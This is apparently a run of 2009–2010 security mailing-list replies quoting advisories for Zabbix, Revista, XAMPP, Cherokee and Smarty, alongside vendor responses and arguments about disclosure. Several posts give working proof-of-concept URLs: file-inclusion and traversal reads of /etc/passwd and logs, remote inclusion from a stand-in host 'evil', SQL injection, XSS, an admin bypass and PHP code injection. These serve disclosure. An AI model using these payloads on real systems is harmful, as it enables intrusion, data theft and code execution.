> lang=lang&theme=theme&autologout=0&url=url&refresh=0
>
> A user with admin permissions is created.
>
> C) Local File Inclusion
>
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
>
> The following URL exploits this vulnerability:
>
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
>
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
>
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
>
> Nullbyte injection normally requires magic quotes off.
>
> The vulnerable code is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> IV. DETECTION
>
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
>
> V. WORKAROUND
>
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.
>
> VI. VENDOR RESPONSE
>
> Vendor will fix all the exposed vulnerabilities in Zabbix 1.6.3.
>
> VII. CVE INFORMATION
>
> No CVE at this time.
>
> VIII. DISCLOSURE TIMELINE
>
> 20081215 Bug discovered
> 20090116 Initial vendor contact
> 20090116 Vendor Response (Fixes will be included in Zabbix 1.6.3)
> 20090130 Second email (When this is going to be fixed?)
> 20090131 Vendor Response (Everything has been fixed a week ago and is
>          publicy aviable in the SVN, Zabbix 1.6.3 will be released
>          within 10-15 days)
> 20090220 Third email (20 days elasped and no response, we will release
>          on 23 Feb)
> 20090220 Vendor Response (Postpone of 5-10 days required)
> 20090220 Third email (We will wait 5-10 days, 2 March is the deadline
>          if no contact)
> 20090303 Forced Advisory Release
>
> IX. CREDIT
>
> Antonio "s4tan" Parata, Francesco "ascii" Ongaro and Giovanni
> "evilaliv3" Pellerano are credited with the discovery of this
> vulnerability.
>
> Antonio "s4tan" Parata
> web site: http://www.ictsc.it/
> mail: s4tan AT ictsc DOT it, s4tan AT ush DOT it
>
> Francesco "ascii" Ongaro
> web site: http://www.ush.it/
> mail: ascii AT ush DOT it
>
> Giovanni "evilaliv3" Pellerano
> web site: http://www.evilaliv3.org
> mail: giovanni.pellerano AT evilaliv3 DOT org
>
> X. LEGAL NOTICES
>
> Copyright (c) 2009 Francesco "ascii" Ongaro
>
> Permission is granted for the redistribution of this alert
> electronically. It may not be edited in any way without mine express
> written consent. If you wish to reprint the whole or any
> part of this alert in any other medium other than electronically,
> please email me for permission.
>
> Disclaimer: The information in the advisory is believed to be accurate
> at the time of publishing based on currently available information. Use
> of the information constitutes acceptance for use in an AS IS condition.
> There are no warranties with regard to this information. Neither the
> author nor the publisher accepts any liability for any direct, indirect,
> or consequential loss or damage arising from use of, or reliance on,
> this information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
>   



From: Eygene Ryabinkin rea-sec@codelabs.ru
Sent: Mon 9. Mar 2009 14:59
Good day.

Small addition to the advisory.

Tue, Mar 03, 2009 at 03:30:26PM +0000, ascii wrote:
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
[...]
> C) Local File Inclusion
> 
> If the user is authenticated, a Local File Inclusion vulnerability
> exists in file "locales.php".
> 
> The following URL exploits this vulnerability:
> 
> /locales.php?action=1&next=1&srclang=../validate&extlang=en
> 
> A string in the form of ".inc.php" is automatically appended to the
> local file path. Despite that its possible to include every target
> file truncating the filename using %00 (nullbyte):
> 
> /locales.php?next=1&srclang=../../../../../../../var/log/apache2/error_log%00%22
> 
> Nullbyte injection normally requires magic quotes off.
> 
> The vulnerable code is the following:
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
> 
>  srclang=> array(T_ZBX_STR, O_OPT, NULL, NOT_EMPTY, isset({next})),
> [...]
> else if(isset($_REQUEST[next])){
> [...]
>  $fileFrom = include/locales/.$_REQUEST[srclang].".inc.php";
>   if(file_exists($fileFrom)){
>    include($fileFrom);
> 
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--

The second variable, extlang, also can be used for the file inclusion
and before r6886 there was the programming error: patch for locales.php
r6593 included wrong validation condition for extlang:
-----
if(ereg(^[A-Za-z0-9_]+$, $_REQUEST[srclang]) && ($_REQUEST[extlang] != new))
-----
This was fixed in revision 6886 of branches/1.6.

> IV. DETECTION
> 
> Zabbix 1.6.2 and possibly earlier versions are vulnerable.
> 
> V. WORKAROUND
> 
> Update zabbix from svn the server (svn://svn.zabbix.com) or download
> version 1.6.3 when aviable.

Be sure to update to the r6886 or later, otherwise LFI will still
be possible.
-- 
Eygene


From: marianiscc@hotmail.com
Sent: Mon 13. Apr 2009 14:49
Discovered by Sirdarckcat from elhacker.net

------------------------------------------------------------------------
------------

Revista 1.1.2

http://php-revista.sourceforge.org

------------------------------------------------------------------------
------------

Revista is a simple spanish PHP magazine editor.

It was done by php.org.mx

It suffers of multiple vulnerabilities.

------------------------------------------------------------------------
------------

Remote File Inclusion

http://revista/estilo/[ANY STYLE]/index.php?adodb=http://evil/script

------------------------------------------------------------------------
------------

SQLi

http://revista/estilo/[ANY STYLE]/busqueda_tema.php?id_temas=-1+[SQL]

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=+[SQL]

http://revista/estilo/[ANY STYLE]/autor.php?id_autor=-1+[SQL]

http://revista/estilo/[ANY STYLE]/lista.php?email=+[SQL]

http://revista/estilo/[ANY STYLE]/articulo.php?id_articulo=-1+[SQL]

------------------------------------------------------------------------
------------

Credentials Bypass

http://revista/admin/index.php?ID_ADMIN=1&SUPER_ADMIN=1

------------------------------------------------------------------------
------------

XSS

http://revista/estilo/[ANY STYLE]/busqueda.php?cadena=<XSS>

http://revista/estilo/[ANY STYLE]/lista.php?email=<XSS>

------------------------------------------------------------------------
------------

Att.

Sirdarckcat


From: David Cantrell d.cantrell@outcometechnologies.com
Sent: Wed 13. May 2009 11:10
ascii wrote:

> FormMail 1.92 Multiple Vulnerabilities  ...

The authors own webpage about formmail mentions the NMS project at the 
bottom of the page, about which he says:

" While the free code found at my web site has not evolved much in
   recent years, the general programming practices and standards of CGI
   programs have. nms is an attempt by very active programmers in the
   Perl community to bring the *quality of code for these types of
   programs up to date and eliminate some of the bad programming
   practices and bugs* found in the existing Matts Script Archive code.

" I would highly recommend downloading the nms versions if you wish to
   learn CGI programming. The code you find at Matts Script Archive is
   not representative of how even I would code these days. *My interests
   and activies have moved on, however, and I just have not found the
   time to update all of my scripts*. One of the major reasons for this
   is that they work for many people. For this reason, I will continue to
   provide them to the public, but am also *pleased to make you aware of
   well-coded alternatives*. "

(my emphasis)

which to me looks like hes already addressed the issue by recommending 
that you use NMS formmail if you care about the quality of the code and 
any bugs.

-- 
David Cantrell
Outcome Technologies Ltd
BUPA House, 15-19 Bloomsbury Way, London WC1A 2BA
Registered in England, No: 3829851


From: ascii ascii@katamail.com
Sent: Wed 13. May 2009 13:05
David Cantrell wrote:
> which to me looks like hes already addressed the issue by recommending
> that you use NMS formmail if you care about the quality of the code and
> any bugs.

Dear David,

telling people to use a different software doesnt automatically fix
issues.

As we tested FormMail and want to warn people who deployed FormMail and
will deploy FormMail we posted an advisory for FormMail. Hope this open
your mind.

Bye,
ascii
ush.it


From: TK147@TheArchitect.com
Sent: Thu 28. May 2009 10:19
Well MaXe,

Thats very clever of you.  The "vendor" is rolling out a patch and new version to address the issues you have raised.  Not sure why you beleive this software, developed with untold manhours and effort, and then offered for a very modest fee, should be released without appropriate pirating protections.  ..and why you woouldnt warn them and subsequently countless innocents of the issue.  Isnt this what your site is about?

But thanks for raising the issue.

YouAllLookAlikeToMe


From: security@intern0t.net
Sent: Thu 28. May 2009 15:27
InterN0T is about Hacking. (if you have seen the introduction)

To me, Hacking is primarily about learning how and why things works as they do and if they can be changed (improved or abused in this case) and of course, sharing what you find out so the community can benefit from it! 

Afterwards, the developers can learn to code more secure (if you find a vulnerability). However, as we all might know: Security is a human factor and will always be a problem.

If i would contact the vendor as the first thing each time, how would people be able to learn from my research if its not even possible to get an earlier version where the vulnerability is included in?

Consider the alternatives (where i dont contact the vendor):
- Sell the vulnerability and know people will exploit people in the dark.
- Keep it to myself and exploit people.
- Share it among a little group of people and let them play/exploit with it.

Taking that into consideration makes public disclosure sound like a good option to me. :-)


All of the best,
MaXe

PS: Yes, i know people will exploit the issue / vulnerability in the public disclosure method, but in this case the dealer actually has a chance of fixing it and usually they will fix it faster because its a lot more urgent. 

It might stress them, but if they just made sure all function calls and user input (forms) were validated properly then i wouldnt have been able to find these holes in the first place ;-)


From: security curmudgeon jericho@attrition.org
Sent: Mon 20. Jul 2009 07:02
On Mon, 13 Apr 2009, marianiscc@hotmail.com wrote:

: Discovered by Sirdarckcat from elhacker.net

By discovered, you mean copied from the disclosure in September 2006 
right?

CVE-2006-4605 through CVE-2006-4608.



From: bill.carovano@citrix.com
Sent: Wed 29. Jul 2009 14:09
It should be noted that Citrix does not offer a feature or product called "XenCenterWeb."  At one time, this tool was included in the informal XenServer Resource Kit, to serve as an example of how to utilize the XenServer SDK and provide web-based consoles for specific types of administrators (where customers had such a need).  It was never a supported product or feature, and is in fact no longer available.

Bill Carovano
Sr. Director, Technical Product Marketing
Citrix Systems, Inc.


From: starchang@aten.com.tw
Sent: Wed 12. Aug 2009 10:34
This is Technical Support Team from ATEN.

Firstly, we appreciate all suggestions from Germany TUB LAB. Undoubtedly, guaranteeing our KVM products with robust security mechanism is our responsibility.

After discussing with Germany TUB LAB, we believe all security issues could be fixed by new Firmware version as below. 

- KH1508i/KH1516i v1.0.068 
- KN9108/KN9116 v1.1.109 
- PN9108 v1.8.179 

Scheduled Release Date is around Aug. 17, 2009 

Please visit our ATEN official site later.
http://www.aten.com/download/download.php

As for SSL Certificate, SSL Certificate import function has built into our KVM above with new firmware. We strongly suggest our KVM users to import their individual Certificate for advanced security concern. We will tell our KVM users how to generate their own Certificate by openssl tool in our product manual later.

Thanks,
ATEN SUPPORT


From: Glenn Rossi dragon@midatlanticbb.com
Sent: Mon 17. Aug 2009 11:56
I emailed you last week but did not receive a response.

What about units like the CN5000 that do not appear anywhere on your 
website?  We have two of these and are very concerned about the below-
referenced vulnerability.

Will a firmware upgrade for these units be forthcoming as well, or do 
we now own hundreds of dollars worth of paperweights?



> This is Technical Support Team from ATEN.
> 
> Firstly, we appreciate all suggestions from Germany TUB LAB.
> Undoubtedly, guaranteeing our KVM products with robust security
> mechanism is our responsibility. 
> 
> After discussing with Germany TUB LAB, we believe all security issues
> could be fixed by new Firmware version as below. 
> 
> - KH1508i/KH1516i v1.0.068 
> - KN9108/KN9116 v1.1.109 
> - PN9108 v1.8.179 
> 
> Scheduled Release Date is around Aug. 17, 2009 
> 
> Please visit our ATEN official site later.
> http://www.aten.com/download/download.php
> 
> As for SSL Certificate, SSL Certificate import function has built into
> our KVM above with new firmware. We strongly suggest our KVM users to
> import their individual Certificate for advanced security concern. We
> will tell our KVM users how to generate their own Certificate by
> openssl tool in our product manual later. 
> 
> Thanks,
> ATEN SUPPORT

--
Glenn Rossi
Operations/Security/Engineering
MidAtlantic BroadBand/Staffnet/Protel
------------------------------------------
voice:  (866) HELP-KIT ext 132

web:    http://www.midatlanticbb.com
email:  mailto:webmaster@midatlanticbb.com
fax:    (410) 727-8245
handle: dragon
------------------------------------------
MidAtlantic BroadBand
729 East Pratt St., Suite 440
Baltimore, MD USA 21202
------------------------------------------
Without security, freedom is not possible.
------------------------------------------




From: ign.sec@gmail.com
Sent: Wed 6. Jan 2010 09:55
One thing i forgot, a %00 must be included at the end of the LFI, IE: index.php?op=../../../../../../../etc/passwd%00 

And ?op is vulnerable to a xss attack, IE:
index.php?op=<script>alert(document.cookie)</script>

Ignacio.


From: MustLive mustlive@websecurity.com.ua
Sent: Thu 4. Feb 2010 22:01
Hello MaXe!

> Have you checked the newest aka (also known as) latest version which is
> actually: 1.7.3 ?

No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: advisories@intern0t.net
To: bugtraq@securityfocus.com ; MustLive
Sent: Monday, February 01, 2010 10:53 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hi MustLive

Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?

Link: http://www.apachefriends.org/en/xampp-windows.html


Best regards,
MaXe

On January 28, 2010 at 11:55 PM MustLive <mustlive@websecurity.com.ua>
wrote:

> Hello Bugtraq!
>
> I am continue informing you about multiple vulnerabilities in XAMPP.
>
> -----------------------------
> Advisory #7
> -----------------------------
> CSRF, SQL Injection and Full path disclosure vulnerabilities in XAMPP
> -----------------------------
> URL: http://websecurity.com.ua/3285/
> -----------------------------
> Timeline:
>
> 27.06.2009 - found the vulnerabilities.
> 01.07.2009 - announced at my site.
> 02.07.2009 - informed developers.
> 08.08.2009 - disclosed at my site.
> -----------------------------
> Details:
>
> These are Cross-Site Request Forgery, SQL Injection and Full path
> disclosure
> vulnerabilities.
>
> CSRF:
>
> http://site/xampp/cds-fpdf.php
>
> Its possible to delete or add data in test table (as via CSRF, and as via
> Insufficient Authorization vulnerabilities). And also to conduct SQL
> Injection via CSRF attacks.
>
> SQL Injection:
>
> http://site/xampp/cds-fpdf.php?action=del&id=-1%20or%201=1 (register
> globals
> on)
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=1&jahr=1),(version(),1,1
>
> http://site/xampp/cds-fpdf.php?interpret=1&titel=,1,1),(version(),1,1)/*
> (mq off)
>
> http://site/xampp/cds-fpdf.php?titel=1&interpret=,1),(version(),1,1)/*
> (mq
> off)
>
> Attack is possible during access to admin panel (via Insufficient
> Authorization), or via CSRF.
>
> Full path disclosure:
>
> http://site/xampp/external/ps/draw.php
> http://site/xampp/external/ps/hyperlinks.php
> http://site/xampp/external/ps/image.php
> http://site/xampp/external/ps/overprint.php
> http://site/xampp/external/ps/ps.php?submit=OK
> http://site/xampp/external/ps/shading.php
> http://site/xampp/external/ps/spotcolor.php
> http://site/xampp/external/ps/text.php
> http://site/xampp/special/ps/draw.php
> http://site/xampp/special/ps/hyperlinks.php
> http://site/xampp/special/ps/image.php
> http://site/xampp/special/ps/overprint.php
> http://site/xampp/special/ps/ps.php?submit=OK
> http://site/xampp/special/ps/shading.php
> http://site/xampp/special/ps/spotcolor.php
> http://site/xampp/special/ps/text.php
>
> Vulnerable are XAMPP 1.6.8 and previous versions. And potentially next
> versions (including last version XAMPP 1.7.1).
>
> -----------------------------
>
> Best wishes & regards,
> MustLive
> Administrator of Websecurity web site
> http://websecurity.com.ua


From: MustLive mustlive@websecurity.com.ua
Sent: Sat 6. Feb 2010 23:56
Hello Sebastien!

You can confirm it by yourself. Just find a site on XAMPP (Google can help
you with it) and check the holes using PoCs which I provided.

> and what target of xampp is it ? win32 ? linux ?

As far as I remember last year when I found all these vulnerabilities in
XAMPP, it was XAMPP on Windows servers on all those sites where I found
these holes.

In 99% of cases Im researching vulnerabilities in the Web at real sites,
not at localhost (at localhost I can check for holes only in software which
I use). And I had never used XAMPP (or WAMPP or LAMPP) and I checked all
these holes at real web sites. So in all my advisories I wrote "Vulnerable
are XAMPP 1.6.8 and previous versions", because maximum version which I
found was 1.6.8. And it was quite possible that version 1.7.1 (last version
at that time) was also vulnerable, so I mentioned about it in my advisories.
And XAMPP developers didnt refute existence of vulnerabilities in 1.7.0 and
1.7.1, when I informed them, and didnt answer if they fixed the holes (so
its possible that these holes are still not fixed).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

----- Original Message ----- 
From: S?bastien H?nar?s
To: MustLive
Cc: advisories@intern0t.net ; bugtraq@securityfocus.com
Sent: Friday, February 05, 2010 1:19 AM
Subject: Re: Multiple vulnerabilities in XAMPP (advisory #7)


Hello people, can a secondary source confirm the vuln please ?
and what target of xampp is it ? win32 ? linux ?


2010/2/4 MustLive <mustlive@websecurity.com.ua>

Hello MaXe!


Have you checked the newest aka (also known as) latest version which is
actually: 1.7.3 ?


No, I didnt and there was a reason for it. All these 7 advisories were made
in 2009 (as it clear from Timeline which I made for all advisories). Only
now I sent them to Bugtraq. And that time XAMPP 1.7.1 was the latest
version.

Besides, in 2009 developer of XAMPP answered me (with thanks) only at one of
seven letters and he didnt mention about fixing any of holes which I found.
So there is possibility that all or some of these holes are still not fixed.

Im rarely sending advisories about vulnerabilities to Bugtraq. During
2007-2010 I sent only small amount of my advisories to Bugtraq. From the end
of 2006 I was sending all holes (http://securityvulns.ru/source15611.html)
which I found to securityvulns.ru (securityvulns.com) and 3APA3A, admin of
these sites, sometimes sent some of them to Bugtraq. Last month I drew
attention that he didnt write to Bugtraq about all these holes in XAMPP, so
I decided to write about them by myself :-).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


From: lars@enomaly.com
Sent: Tue 16. Feb 2010 15:39
The reported issue DOES NOT AFFECT ANY CURRENT ENOMALY PRODUCT.  Our current products are Enomaly ECP Service Provider Edition and Enomaly ECP High Assurance Edition, and neither utilizes the "vmfeed" module.

Specifically, the "vmfeed" module has not been utilized in any version of our products released since the initial release of Enomaly ECP Service Provider Edition in June 2009.  The "vmfeed" module was utilized only in our previous-generation "Community Edition" product, which has been deprecated and withdrawn from distribution.  Enomaly ECP Service Provider Edition is a completely different product from the old Community Edition.

As a result, since the Community Edition product is deprecated and has been withdrawn, Enomaly has not investigated this reported issue.

Further information on the differences between the deprecated Community Edition technology and our current Service Provider Edition technology can be found at http://src.enomaly.com.

Lars-Erik Forsberg, VP Delivery
Enomaly Inc.


From: dan.j.rosenberg@gmail.com
Sent: Fri 5. Mar 2010 12:10
Apparently Bugtraq doesnt like attachments.  The patches are available as attachments to the archived Full-Disclosure posting, at:

http://seclists.org/fulldisclosure/2010/Mar/122


From: Andrew Morum amorum@brendata.co.uk
Sent: Thu 3. Jun 2010 15:57
Not sure, phprunner incorporates this doesnt it? 

-----Original Message-----
From: Alex Legler [mailto:a3li@gentoo.org] 
Sent: 02 June 2010 22:18
To: gentoo-announce@gentoo.org
Cc: bugtraq@securityfocus.com; full-disclosure@lists.grok.org.uk;
security-alerts@linuxsecurity.com
Subject: [ GLSA 201006-13 ] Smarty: Multiple vulnerabilities

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

Gentoo Linux Security Advisory                           GLSA 201006-13=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=

                                            http://security.gentoo.org/=

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


  Severity: Normal
     Title: Smarty: Multiple vulnerabilities
      Date: June 02, 2010
      Bugs: #212147, #243856, #270494
        ID: 201006-13

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -=


Synopsis
=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities in the Smarty template engine might allow
remote attackers to execute arbitrary PHP code.

Background
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Smarty is a template engine for PHP.

Affected packages
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

    -------------------------------------------------------------------=

     Package         /  Vulnerable  /                       Unaffected
    -------------------------------------------------------------------=

  1  dev-php/smarty      < 2.6.23                            >=3D 2.6.2=
3

Description
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

Multiple vulnerabilities have been discovered in Smarty:

* The vendor reported that the modifier.regex_replace.php plug-in
  contains an input sanitation flaw related to the ASCII NUL character
  (CVE-2008-1066).

* The vendor reported that the _expand_quoted_text() function in
  libs/Smarty_Compiler.class.php contains an input sanitation flaw via
  multiple vectors (CVE-2008-4810, CVE-2008-4811).

* Nine:Situations:Group::bookoo reported that the
  smarty_function_math() function in libs/plugins/function.math.php
  contains input sanitation flaw (CVE-2009-1669).

Impact
=3D=3D=3D=3D=3D=3D

These issues might allow a remote attacker to execute arbitrary PHP
code.

Workaround
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

There is no known workaround at this time.

Resolution
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

All Smarty users should upgrade to an unaffected version:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=3Ddev-php/smarty-2.6.23"

NOTE: This is a legacy GLSA. Updates for all affected architectures are=

available since June 2, 2009. It is likely that your system is already
no longer affected by this issue.

References
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

  [ 1 ] CVE-2008-1066
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-1066
  [ 2 ] CVE-2008-4810
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4810
  [ 3 ] CVE-2008-4811
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2008-4811
  [ 4 ] CVE-2009-1669
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=3DCVE-2009-1669

Availability
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

  http://security.gentoo.org/glsa/glsa-201006-13.xml

Concerns?
=3D=3D=3D=3D=3D=3D=3D=3D=3D

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
security@gentoo.org or alternatively, you may file a bug at
https://bugs.gentoo.org.

License
=3D=3D=3D=3D=3D=3D=3D

Copyright 2010 Gentoo Foundation, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/2.5


The information contained in this email is intended for the personal an=
d confidential use
of the addressee only. It may also be privileged information. If you ar=
e not the intended
recipient then you are hereby notified that you have received this docu=
ment in error and
that any review, distribution or copying of this document is strictly p=
rohibited. If you have 
received  this communication in error, please notify Brendata immediate=
ly on: 

+44 (0)1268 466100, or email technical@brendata.co.uk 

Brendata (UK) Ltd
Nevendon Hall, Nevendon Road, Basildon, Essex. SS13 1BX  UK
Registered Office as above. Registered in England No. 2764339

See our current vacancies at www.brendata.co.uk


From: security curmudgeon jericho@attrition.org
Sent: Thu 1. Jul 2010 19:16
On Sat, 12 Jun 2010, info@securitylab.ir wrote:

: #################################################################  
: # Securitylab.ir  
: #################################################################  
: # Application Info:  
: # Name: Cherokee Web Server
: # Version: 0.5.3
: # Download: http://mirror.aarnet.edu.au/pub/cherokee/windows/Cherokee-setup-0.5.3.exe
: #################################################################  

: [Directory Traversal]:
: http://127.0.0.1/%5C../%5C../%5C../boot.ini%20

This is essentially CVE-2009-3902, just encoding one char.

: [Remote Source Disclosure]:
: http://127.0.0.1:80/file.html::$DATA
: 
: http://127.0.0.1/index.htm%20 

Did you try these on something other than HTML? Did it work for .php or 
.asp for example?


From: scott.switzer@openx.org
Sent: Wed 28. Jan 2009 16:34
OpenX has fixed all of the vulnerabilities, and will release new versions of v2.4 and v2.6, after the QA cycle, in the next 24-48 hours.

Scott Switzer
OpenX Community Leader


From: =?ISO-8859-1?Q?Roberto_Mu=F1oz_Fernandez?= robertomf@fujitsu.es
Sent: Fri 6. Mar 2009 00:42
Vulnerability A) confirmed in zabbix 1.4.* for example in..


http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort[%22.phpinfo().%22]=1
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
<http://url.foo/tr_status.php?compact=false&onlytrue=true&noactions=true&select=false&txt_select=&sort%5B%22.phpinfo%28%29.%22%5D=1>
> Zabbix 1.6.2 Frontend Multiple Vulnerabilities
>
>  Name              Multiple Vulnerabilities in Zabbix Frontend
>  Systems Affected  Zabbix 1.6.2 and possibly earlier versions
>  Severity          High
>  Impact (CVSSv2)   High 9.7/10, vector: (AV:N/AC:L/Au:N/C:P/I:C/A:C)
>  Vendor            http://www.zabbix.com/
>  Advisory          http://www.ush.it/team/ush/hack-zabbix_162/adv.txt
>  Authors           Antonio "s4tan" Parata (s4tan AT ush DOT it)
>                    Francesco "ascii" Ongaro (ascii AT ush DOT it)
>                    Giovanni "evilaliv3" Pellerano (evilaliv3 AT
>                    digitalbullets DOT org)
>  Date              20090303
>
> I. BACKGROUND
>
> >From the Zabbix web site: "ZABBIX offers advanced monitoring, alerting
> and visualization features today which are missing in other monitoring
> systems, even some of the best commercial ones".
>
> II. DESCRIPTION
>
> Multiple Vulnerabilities exist in Zabbix front end software.
>
> III. ANALYSIS
>
> Summary:
>
>  A) Remote Code Execution
>  B) Cross Site Request Forgery
>  C) Local File Inclusion
>
> A) Remote Code Execution
>
> A Remote Code Execution issue has been found in Zabbix version
> 1.6.2 and no authentication is required in order to exploit this
> vulnerability. The Magic Quotes must be off in order to exploit
> this vulnerability, however this feature will not be supported
> starting with PHP 6.0 (ref. http://it2.php.net/magic_quotes).
>
> Zabbix has a security feature that parses all incoming input for
> possible bad chars with the help of the function check_fields() defined
> in "include/validate.inc.php". The issue we have discovered is contained
> in this input validation code.
>
> Pages define an array of every used variable that derives from external
> (GPC) input. An example of the mechanism is the following:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> $fields=array(
>  "config"=>     array(T_ZBX_INT, O_OPT, P_SYS, IN("0,1"), NULL),
>  // actions
>  "groupid"=>    array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "hostid"=>     array(T_ZBX_INT, O_OPT, P_SYS|P_NZERO, DB_ID, NULL),
>  "start"=>      array(T_ZBX_INT, O_OPT, P_SYS, BETWEEN(0,65535)."({}%".
>                 PAGE_SIZE."==0)", NULL),
>  "next"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  "prev"=>       array(T_ZBX_STR, O_OPT, P_SYS, NULL, NULL),
>  // filter
>  "filter_rst"=> array(T_ZBX_INT, O_OPT, P_SYS, IN(array(0,1)), NULL),
>  "filter_set"=> array(T_ZBX_STR, O_OPT, P_SYS, null, NULL),
>  "userid"=> array(T_ZBX_INT, O_OPT, P_SYS, DB_ID, NULL),
>  filter_timesince=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  filter_timetill=> array(T_ZBX_INT, O_OPT, P_UNSET_EMPTY, null, NULL),
>  //ajax
>  favobj=>     array(T_ZBX_STR, O_OPT, P_ACT, NULL, NULL),
>  favid=>      array(T_ZBX_STR, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj})),
>  state=>      array(T_ZBX_INT, O_OPT, P_ACT, NOT_EMPTY,
>                 isset({favobj}) && ("filter"=={favobj})),
> );
>
> check_fields($fields);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> After the definition of the "$fields" array all the variables are
> checked by the function check_fields().
>
> The main step of the check_fields() function is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> foreach($fields as $field => $checks){
>  $err |= check_field($fields, $field, $checks);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> Following the check_field() function we have identified that the
> functions main steps are the creation of some local variables using
> list() and a consequent call of calc_exp() (which resides in the same
> file).
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> list($type, $opt, $flags, $validation, $exception) = $checks;
> [...]
> $except=calc_exp($fields,$field,$exception);
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> calc_exp()s code is:
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> function calc_exp($fields,$field,$expression){
>  if(zbx_strstr($expression,"{}") && !isset($_REQUEST[$field]))
>   return FALSE;
>
>  if(zbx_strstr($expression,"{}") && !is_array($_REQUEST[$field]))
>   $expression = str_replace("{}",$_REQUEST[".$field."],$expression);
>
>  if(zbx_strstr($expression,"{}") && is_array($_REQUEST[$field])){
>  foreach($_REQUEST[$field] as $key => $val){
>    $expression2 =
> str_replace("{}",$_REQUEST[".$field."][".$key."],$expression);
>    if(calc_exp2($fields,$field,$expression2)==FALSE)
>     return FALSE;
>   }
>   return TRUE;
>  }
>  return calc_exp2($fields,$field,$expression);
> }
>
> --8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
>
> As you can see we should be able to call calc_exp2(), our vulnerable
